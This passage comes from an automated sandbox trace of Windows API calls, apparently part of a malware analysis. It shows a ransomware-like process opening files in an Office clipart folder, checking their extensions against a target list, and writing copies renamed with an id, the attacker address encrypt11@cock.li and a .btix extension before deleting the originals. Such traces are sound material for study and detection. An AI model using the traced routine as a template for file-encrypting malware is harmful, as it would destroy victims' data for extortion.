(lpString1=".xls", lpString2=".WMF") returned 1 [0152.425] lstrlenW (lpString=".xlsx") returned 5 [0152.425] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.425] lstrlenW (lpString=".ppt") returned 4 [0152.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.425] lstrlenW (lpString=".zip") returned 4 [0152.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.426] lstrlenW (lpString=".rar") returned 4 [0152.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.426] lstrlenW (lpString=".bz2") returned 4 [0152.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.426] lstrlenW (lpString=".7z") returned 3 [0152.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.426] lstrlenW (lpString=".dbf") returned 4 [0152.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.426] lstrlenW (lpString=".1cd") returned 4 [0152.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0152.426] lstrlenW (lpString=".jpg") returned 4 [0152.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.426] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.426] lstrlenW (lpString="J0105414.WMF") returned 12 [0152.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.426] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=6244) returned 1 [0152.426] CloseHandle (hObject=0x374) returned 1 [0152.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0152.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.435] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.435] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.436] GetLastError () returned 0x0 [0152.436] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1864, lpOverlapped=0x0) returned 1 [0152.437] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1870, lpOverlapped=0x0) returned 1 [0152.438] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.438] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.438] SetEndOfFile (hFile=0x3a0) returned 1 [0152.438] CloseHandle (hObject=0x3a0) returned 1 [0152.438] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.438] SetEndOfFile (hFile=0x374) returned 1 [0152.439] CloseHandle (hObject=0x374) returned 1 [0152.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0152.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.439] lstrlenW (lpString=".doc") returned 4 [0152.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.439] lstrlenW (lpString=".docx") returned 5 [0152.440] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.440] lstrlenW (lpString=".pdf") returned 4 [0152.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".xls") returned 4 [0152.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.440] lstrlenW (lpString=".xlsx") returned 5 [0152.440] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.440] lstrlenW (lpString=".ppt") returned 4 [0152.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.440] lstrlenW (lpString=".zip") returned 4 [0152.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.440] lstrlenW (lpString=".rar") returned 4 [0152.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".bz2") returned 4 [0152.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString=".7z") returned 3 [0152.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.440] lstrlenW (lpString=".dbf") returned 4 [0152.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.440] lstrlenW (lpString=".1cd") returned 4 [0152.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.440] lstrlenW (lpString=".jpg") returned 4 [0152.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.441] lstrlenW (lpString=".doc") returned 4 [0152.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".docx") returned 5 [0152.441] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.441] lstrlenW (lpString=".pdf") returned 4 [0152.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".xls") returned 4 [0152.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.441] lstrlenW (lpString=".xlsx") returned 5 [0152.441] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.441] lstrlenW (lpString=".ppt") returned 4 [0152.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.441] lstrlenW (lpString=".zip") returned 4 [0152.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.441] lstrlenW (lpString=".rar") returned 4 [0152.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".bz2") returned 4 [0152.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString=".7z") returned 3 [0152.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.441] lstrlenW (lpString=".dbf") returned 4 [0152.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.441] lstrlenW (lpString=".1cd") returned 4 [0152.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0152.441] lstrlenW (lpString=".jpg") returned 4 [0152.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.442] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.442] lstrlenW (lpString="J0105490.WMF") returned 12 [0152.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.442] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=18728) returned 1 [0152.442] CloseHandle (hObject=0x374) returned 1 [0152.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0152.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.452] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.452] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.453] GetLastError () returned 0x0 [0152.453] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4928, lpOverlapped=0x0) returned 1 [0152.454] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4930, lpOverlapped=0x0) returned 1 [0152.455] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.455] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.455] SetEndOfFile (hFile=0x3a0) returned 1 [0152.455] CloseHandle (hObject=0x3a0) returned 1 [0152.455] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.455] SetEndOfFile (hFile=0x374) returned 1 [0152.456] CloseHandle (hObject=0x374) returned 1 [0152.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0152.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.457] lstrlenW (lpString=".doc") returned 4 [0152.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.457] lstrlenW (lpString=".docx") returned 5 [0152.457] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.457] lstrlenW (lpString=".pdf") returned 4 [0152.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.457] lstrlenW (lpString=".xls") returned 4 [0152.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.457] lstrlenW (lpString=".xlsx") returned 5 [0152.457] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.457] lstrlenW (lpString=".ppt") returned 4 [0152.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.457] lstrlenW (lpString=".zip") returned 4 [0152.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.457] lstrlenW (lpString=".rar") returned 4 [0152.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.457] lstrlenW (lpString=".bz2") returned 4 [0152.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString=".7z") returned 3 [0152.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString=".dbf") returned 4 [0152.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString=".1cd") returned 4 [0152.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString=".jpg") returned 4 [0152.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString=".doc") returned 4 [0152.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString=".docx") returned 5 [0152.458] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.458] lstrlenW (lpString=".pdf") returned 4 [0152.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString=".xls") returned 4 [0152.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.458] lstrlenW (lpString=".xlsx") returned 5 [0152.458] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.458] lstrlenW (lpString=".ppt") returned 4 [0152.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.458] lstrlenW (lpString=".zip") returned 4 [0152.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.458] lstrlenW (lpString=".rar") returned 4 [0152.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString=".bz2") returned 4 [0152.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.458] lstrlenW (lpString=".7z") returned 3 [0152.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.459] lstrlenW (lpString=".dbf") returned 4 [0152.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.459] lstrlenW (lpString=".1cd") returned 4 [0152.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0152.459] lstrlenW (lpString=".jpg") returned 4 [0152.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.459] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.459] lstrlenW (lpString="J0105496.WMF") returned 12 [0152.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.459] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=5156) returned 1 [0152.459] CloseHandle (hObject=0x374) returned 1 [0152.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0152.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.460] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.460] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.460] GetLastError () returned 0x0 [0152.460] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1424, lpOverlapped=0x0) returned 1 [0152.461] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1430, lpOverlapped=0x0) returned 1 [0152.462] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.462] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.462] SetEndOfFile (hFile=0x3a0) returned 1 [0152.462] CloseHandle (hObject=0x3a0) returned 1 [0152.462] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.462] SetEndOfFile (hFile=0x374) returned 1 [0152.463] CloseHandle (hObject=0x374) returned 1 [0152.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0152.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.463] lstrlenW (lpString=".doc") returned 4 [0152.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.463] lstrlenW (lpString=".docx") returned 5 [0152.463] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.464] lstrlenW (lpString=".pdf") returned 4 [0152.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString=".xls") returned 4 [0152.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.464] lstrlenW (lpString=".xlsx") returned 5 [0152.464] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.464] lstrlenW (lpString=".ppt") returned 4 [0152.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString=".zip") returned 4 [0152.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.464] lstrlenW (lpString=".rar") returned 4 [0152.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString=".bz2") returned 4 [0152.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString=".7z") returned 3 [0152.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString=".dbf") returned 4 [0152.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString=".1cd") returned 4 [0152.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString=".jpg") returned 4 [0152.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.464] lstrlenW (lpString=".doc") returned 4 [0152.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.464] lstrlenW (lpString=".docx") returned 5 [0152.464] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.464] lstrlenW (lpString=".pdf") returned 4 [0152.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.465] lstrlenW (lpString=".xls") returned 4 [0152.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.465] lstrlenW (lpString=".xlsx") returned 5 [0152.465] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.465] lstrlenW (lpString=".ppt") returned 4 [0152.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.465] lstrlenW (lpString=".zip") returned 4 [0152.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.465] lstrlenW (lpString=".rar") returned 4 [0152.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.465] lstrlenW 